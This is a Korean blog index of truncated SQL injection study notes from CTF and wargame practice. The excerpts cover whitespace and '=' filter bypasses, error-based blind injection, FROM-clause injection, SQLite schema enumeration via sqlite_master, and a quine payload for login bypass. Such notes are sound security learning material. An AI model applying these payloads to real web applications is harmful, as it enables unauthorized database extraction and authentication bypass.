웹/SQLi 5

sqli 필터링 우회

1. 공백 우회?id=(0)union(select(1),(2),group_concat(column_name),(4),(5)from(information_schema.columns)) 2. = 우회like, in, regexp 쓰면된다. regexp는 정규식 관련 연산자이다.또한, if, strcmp를 이용하는 방법도 있다.if(strcmp(substr(‘abc’,1,1),’a’),0,1) 3. 에러기반 SQLi1) 일단 가장 기본서브쿼리는 한 개의 행만 리턴해야 하는데, (select 1 union select 2)는 두 개의 행을 리턴하므로 에러를 뱉는다.if(조건,1, (select 1 union select 2)) 일케하면, 조건이 거짓일 땐 에러발생이므로 조건에 따른 blind 가능 2) 0xff..

웹/SQLi 2018.10.26

from 절에서 Injection으로 데이터 추출

select no, id from table 뭐 대충 이런 쿼리다 치고, table 부분에 인젝션이 가능하다고 하면 아래와 같은 쿼리로 데이터를 뽑아올 수 있다. (서브쿼리 이용) select no, id from (select no, pw id from table) a 서브쿼리의 결과도 테이블이므로, 이 테이블을 대상으로 select 하는 것 같다.alias는 테이블명 맞춰주기 위한 것이고 관련 문제 : http://websec.fr/level11/index.php 신기방기~

웹/SQLi 2018.07.28

SQLite에서 information_schema

rootme-.org에는 SQLite로 된 문제가 종종 있다.(심지어 postgreSQL도 있다.) SQLite에는 information_schema가 없다.그대신 SQLite에는 sqlite_master라는게 있다. 테이블 명과 컬럼 명을 빼낼 때 아래와 같이 하면 된다. # select table_name from information_schema.tables== select name from sqlite_master(또는 select tbl_name from sqlite_master) select sql from sqlite_master결과-> CREATE TABLE users(username TEXT, password TEXT, Year INTEGER)-> 모든 테이블에 대해 수행... etc)주..

웹/SQLi 2017.03.02

Quine을 이용한 인증 우회

아래와 같이 입력받은 값과 쿼리의 리턴값이 같으면 인증되는 코드가 있다고 하자. if ($_GET['pw'] === $result['pw']) echo " CONG !! "; 아래와 같이 쿼리를 날려주면 리턴값을 입력값과 같게 만들 수 있다. mysql> select pw from prob_1 where id='' and pw=''union select REPLACE(@v:='\'union select REPLACE(@v:=\'2\',1+1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'));',1+1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\''));+------------------------------..

웹/SQLi 2017.01.20

SQL Injection 필터링 우회

문자열 우회 ascii(‘a’) = 97 ord(‘a’) = 97‘abc’ = char(97,98,99)'abc' = unhex(616263) hex(‘a’) = 61 substr 우회midlpad(‘abc’,1,space(1)) = ‘a’ rpad(‘abc’,1,space(1)) = ‘a’ left(‘abc’,1) = ‘a’ 문자열 검색locate(‘a’,’abc’) position(‘a’,’abc’) position(‘a’ IN ‘abc’) instr(‘abc’,’a’) 각종 필터링 걸려있을 땐 정규식 이용where id regexp "admin" admin이 필터링 되어있으면where id regexp concat("admi", "n") 정규식에서 "^admin"은 "admin"으로 시작"adadm..

웹/SQLi 2017.01.08